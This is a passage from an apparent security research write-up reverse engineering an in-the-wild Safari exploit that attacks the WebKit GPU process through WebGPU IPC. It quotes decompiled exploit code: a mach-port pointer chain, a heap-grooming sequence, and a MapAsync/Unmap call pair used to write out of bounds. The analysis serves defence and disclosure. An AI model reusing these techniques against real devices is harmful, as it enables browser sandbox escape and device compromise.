<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2C7: RemoteDisplayListRecorder_DrawNativeImage</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2D4: RemoteDisplayListRecorder_FillRect</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2DF: RemoteDisplayListRecorder_SetCTM</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x2F3: RemoteGPUProxy_WasCreated</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xBAD: RemoteGPU_RequestAdapter</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x402: RemoteMediaRecorderManager_CreateRecorder</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0xA85: RemoteMediaRecorderManager_CreateRecorderReply</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x412: RemoteMediaResourceManager_RedirectReceived</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x469: RemoteRenderingBackendProxy_DidInitialize</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x46D: RemoteRenderingBackend_CacheNativeImage</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x46E: RemoteRenderingBackend_CreateImageBuffer</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x474: RemoteRenderingBackend_ReleaseResource</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B8: SetStreamDestinationID</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9B9: SyncMessageReply</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">0x9BA: Terminate</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This list of IPC names solidifies the theory that this exploit is targeting a GPU process vulnerability.</span></p><h3 class="YrefKOOkxY-c6" id="h.rbav0fsy21ng"><span class="YrefKOOkxY-c10">Finding a way</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The destination port which these messages are being sent to comes from a global variable which looks like this in the raw Mach-O when loaded into IDA:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">__data:000000003E4841C0 dst_port DCQ 0x4444444444444444</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">I mentioned earlier that the outer JS which loaded the exploit binary first performed a find-and-replace using patterns like this. Here's the snippet computing this particular value:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ls = o(p.Ee);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ds = o(Ls.add(p.qe));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ws = o(Ds.add(p.$e));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let vs = o(Ws.add(p.Ze));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> jBHk.on(new m("0x4444444444444444"), vs);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Replacing all the constants we can see it's following a pointer chain from a hardcoded offset inside the shared cache:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ls = o(0x1dd453458);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ds = o(Ls.add(256));</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let Ws = o(Ds.add(24);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let vs = o(Ws.add(280));</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>At the initial symbol address (</span><span class="YrefKOOkxY-c3">0x1dd453458</span><span>) we find the WebContent process's singleton </span><span class="YrefKOOkxY-c3">process</span><span class="YrefKOOkxY-c5"> object which maintains its state:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">WebKit:__common:00000001DD453458 WebKit::WebProcess::singleton(void)::process</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Following the offsets we can see they follow this pointer chain to be able to find the mach port right representing the WebProcess's connection to the GPU process:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">process->m_gpuProcessConnection->m_connection->m_sendPort</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The exploit also reads the </span><span class="YrefKOOkxY-c3">m_receivePort</span><span class="YrefKOOkxY-c5"> field allowing it to set up bidirectional communication with the GPU process and fully imitate the WebContent process.</span></p><h3 class="YrefKOOkxY-c6" id="h.munt0tdrkdk4"><span class="YrefKOOkxY-c10">Defining features</span></h3>
<p class="YrefKOOkxY-c2"><span>Webkit defines its IPC messages using a simple custom </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://en.wikipedia.org/wiki/Domain-specific_language">DSL</a></span><span> in files ending with the suffix </span><span class="YrefKOOkxY-c3">.messages.in</span><span>. These definitions </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/GPUProcess/graphics/WebGPU/RemoteRenderPipeline.messages.in">look like this</a></span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteRenderPipeline NotRefCounted Stream {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void GetBindGroupLayout(uint32_t index, WebKit::WebGPUIdentifier identifier);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void SetLabel(String label)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span>These are parsed by </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/WebKit/WebKit/blob/main/Source/WebKit/Scripts/webkit/parser.py">this python script</a></span><span> to generate the necessary boilerplate code to handle serializing and deserializing the messages. Types which wish to cross the serialization boundary define </span><span class="YrefKOOkxY-c3">::encode</span><span> and </span><span class="YrefKOOkxY-c3">::decode</span><span class="YrefKOOkxY-c5"> methods:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void encode(IPC::Encoder&) const;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">static WARN_UNUSED_RETURN bool decode(IPC::Decoder&, T&);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">There are a number of macros defining these coders for the built-in types.</span></p><h3 class="YrefKOOkxY-c6" id="h.5vhwbp8bxk07"><span class="YrefKOOkxY-c10">A pattern appears</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Renaming the methods in the exploit which send IPC messages and reversing some more of their arguments a clear pattern emerges:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">image_buffer_base_id = rand();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (i = 0; i < 34; i++) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteRenderingBackend_CreateImageBuffer(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + i);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">remote_device_buffer_id_base = rand();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 2);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 4);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 1);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 6);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 2);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 8);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 3);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 10);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 4);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteRenderingBackend_ReleaseResource(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> image_buffer_base_id + 12);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDevice_CreateBuffer_16k(remote_device_buffer_id_base + 5);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">usleep(4000u);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">semaphore_signal(semaphore_b);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span>This creates 34 </span><span class="YrefKOOkxY-c3">RemoteRenderingBackend</span><span> </span><span class="YrefKOOkxY-c3">ImageBuffer</span><span> objects then releases 6 of them and likely reallocates the holes via the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span class="YrefKOOkxY-c5"> IPC (passing a size of 16k.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMvJqqmG2DCLJpYJNfKRae4HmTO7gzV50CfUhun8NsLoIDZyaQiinJZWqaqsSLXmWEbh3ZR0un4E5dHo28oA0Ty2yuV9itnV4YScCgS8hmqlYx6XHX8orrZf9dtvSw5DxDB-g0fDxJHClZRkP8-CXxi_7ShGdClRlocHGX_mb6Tk9LPJdeyCBA8ktEjBA/s342/image18.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMvJqqmG2DCLJpYJNfKRae4HmTO7gzV50CfUhun8NsLoIDZyaQiinJZWqaqsSLXmWEbh3ZR0un4E5dHo28oA0Ty2yuV9itnV4YScCgS8hmqlYx6XHX8orrZf9dtvSw5DxDB-g0fDxJHClZRkP8-CXxi_7ShGdClRlocHGX_mb6Tk9LPJdeyCBA8ktEjBA/s342/image18.png" border="0" alt="Diagram showing a pattern of alternating allocations" style="max-height: 750px; max-width: 600px;"title="Diagram showing a pattern of alternating allocations" /></a></span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This looks a lot like heap manipulation to place certain objects next to each other in preparation for a buffer overflow. The part which is slightly odd is how simple it seems - there's no evidence of a complex heap-grooming approach here. The diagram above was just my guess at what was probably happening, and reading through the code implementing the IPCs it was not at all obvious where these buffers were actually being allocated.</span></p><h3 class="YrefKOOkxY-c6" id="h.pb35ced4wmi1"><span class="YrefKOOkxY-c10">A strange argument</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">I started to reverse engineer the structure of the IPC messages which looked most relevant, looking for anything which seemed out of place. One pair of messages seemed especially suspicious:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteBuffer::MapAsync</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RemoteBuffer::Unmap</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>These are two messages sent from the Web process to the GPU process, defined in </span><span class="YrefKOOkxY-c3">GPUProcess/graphics/WebGPU/RemoteBuffer.messages.in</span><span> and used in the </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://en.wikipedia.org/wiki/WebGPU">WebGPU</a></span><span class="YrefKOOkxY-c5"> implementation.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Whilst the IPC machinery implementing WebGPU exists in Safari, the user-facing javascript API isn't present. It used to be available in </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/safari/technology-preview/">Safari Technology Preview</a></span><span> builds available from Apple but it hasn't been enabled there for some time. </span><span>The W3C WebGPU group's github wiki suggests that when enabling WebGPU support in Safari users should "</span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/gpuweb/gpuweb/wiki/Implementation-Status#safari-in-progress">avoid leaving it enabled when browsing the untrusted web</a></span><span>."</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The IPC definitions for the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> look like this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteBuffer NotRefCounted Stream</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void MapAsync(PAL::WebGPU::MapModeFlags mapModeFlags,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> PAL::WebGPU::Size64 offset, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> std::optional<PAL::WebGPU::Size64> size)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> -></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (std::optional<Vector<uint8_t>> data) Synchronous</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void Unmap(Vector<uint8_t> data)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>These </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://gpuweb.github.io/gpuweb/explainer/">WebGPU</a></span><span> </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://github.com/gpuweb/gpuweb/issues/138">resources</a></span><span class="YrefKOOkxY-c5"> explain the concepts behind these APIs. They're intended to manage sharing buffers between the GPU and CPU:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">MapAsync</span><span class="YrefKOOkxY-c5"> moves ownership of a buffer from the GPU to the CPU to allow the CPU to manipulate it without racing the GPU.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">Unmap</span><span class="YrefKOOkxY-c5"> then signals that the CPU is done with the buffer and ownership can return to the GPU.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>In practice the </span><span class="YrefKOOkxY-c3">MapAsync</span><span> IPC returns a copy of the current contents of the WebGPU buffer (at the specified offset) to the CPU as a </span><span class="YrefKOOkxY-c3">Vector<uint8_t></span><span>. </span><span class="YrefKOOkxY-c3">Unmap</span><span> then passes the new contents back to the GPU, also as a </span><span class="YrefKOOkxY-c3">Vector<uint8_t></span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">You might be able to see where this is going...</span></p><h3 class="YrefKOOkxY-c6" id="h.9j5upeezge4b"><span class="YrefKOOkxY-c10">Buffer lifecycles</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">RemoteBuffers</span><span> are created on the WebContent side using the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span class="YrefKOOkxY-c5"> IPC:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteDevice NotRefCounted Stream {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void Destroy()</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void CreateBuffer(WebKit::WebGPU::BufferDescriptor descriptor, </span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebKit::WebGPUIdentifier identifier)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This takes a description of the buffer to create and an identifier to name it. All the calls to this IPC in the exploit used a fixed size of </span><span class="YrefKOOkxY-c3">0x4000</span><span class="YrefKOOkxY-c5"> which is 16KB, the size of a single physical page on iOS.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The first sign that these IPCs were important was the rather strange arguments passed to </span><span class="YrefKOOkxY-c3">MapAsync</span><span class="YrefKOOkxY-c5"> in some places:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteBuffer_MapAsync(remote_device_buffer_id_base + m,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x4000,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>As shown above, this IPC takes a buffer id, an offset and a size to map - in that order. So this IPC call is requesting a mapping of the buffer with id </span><span class="YrefKOOkxY-c3">remote_device_buffer_id_base + m</span><span> at offset </span><span class="YrefKOOkxY-c3">0x4000</span><span> (the very end) of size </span><span class="YrefKOOkxY-c3">0</span><span class="YrefKOOkxY-c5"> (ie nothing.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Directly after this they call </span><span class="YrefKOOkxY-c3">IPC_RemoteBuffer_Unmap</span><span> passing a vector of </span><span class="YrefKOOkxY-c3">40</span><span class="YrefKOOkxY-c5"> bytes as the "new content":</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[0] = 0x7F6F3229LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[1] = 0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[2] = 0LL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[3] = 0xFFFFLL;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">b[4] = arg_val;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">return IPC_RemoteBuffer_Unmap(dst, b, 40LL);</span></p><h3 class="YrefKOOkxY-c6" id="h.x01rtd7kvp6m"><span class="YrefKOOkxY-c10">Buffer origins</span></h3>
<p class="YrefKOOkxY-c2"><span>I spent a considerable time trying to figure out the origin of the underlying pages backing the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> buffer allocations. Statically following the code from Webkit you eventually end up in the userspace-side of the AGX GPU family drivers, which are written in Objective-C. There are plenty of methods with names like </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">id __cdecl -[AGXG15FamilyDevice newBufferWithLength:options:]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>implying responsibility for buffer allocations - but there's no </span><span class="YrefKOOkxY-c3">malloc</span><span>, </span><span class="YrefKOOkxY-c3">mmap</span><span> or </span><span class="YrefKOOkxY-c3">vm_allocate</span><span> in sight.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Using </span><span class="YrefKOOkxY-c3">dtrace</span><span> to dump userspace and kernel stack traces while experimenting with code using the GPU on an M1 macbook, I eventually figured out that this buffer is allocated by the GPU driver itself, which then maps that memory into userspace:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOMemoryDescriptor::createMappingInTask</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IOBufferMemoryDescriptor::initWithPhysicalMask</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.AGXG13X`AGXAccelerator::</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> createBufferMemoryDescriptorInTaskWithOptions</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUSysMemory::withOptions</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUResource::newResourceWithOptions</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUDevice::new_resource</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">com.apple.iokit.IOGPUFamily`IOGPUDeviceUserClient::s_new_resource</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe00263116cc+0x80</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe00263117bc+0x28c</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025d326d0+0x184</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c3856c+0x384</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c0e274+0x2c0</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c25a64+0x1a4</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025c25e80+0x200</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025d584a0+0x184</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">kernel.release.t6000`0xfffffe0025d62e08+0x5b8</span></p>
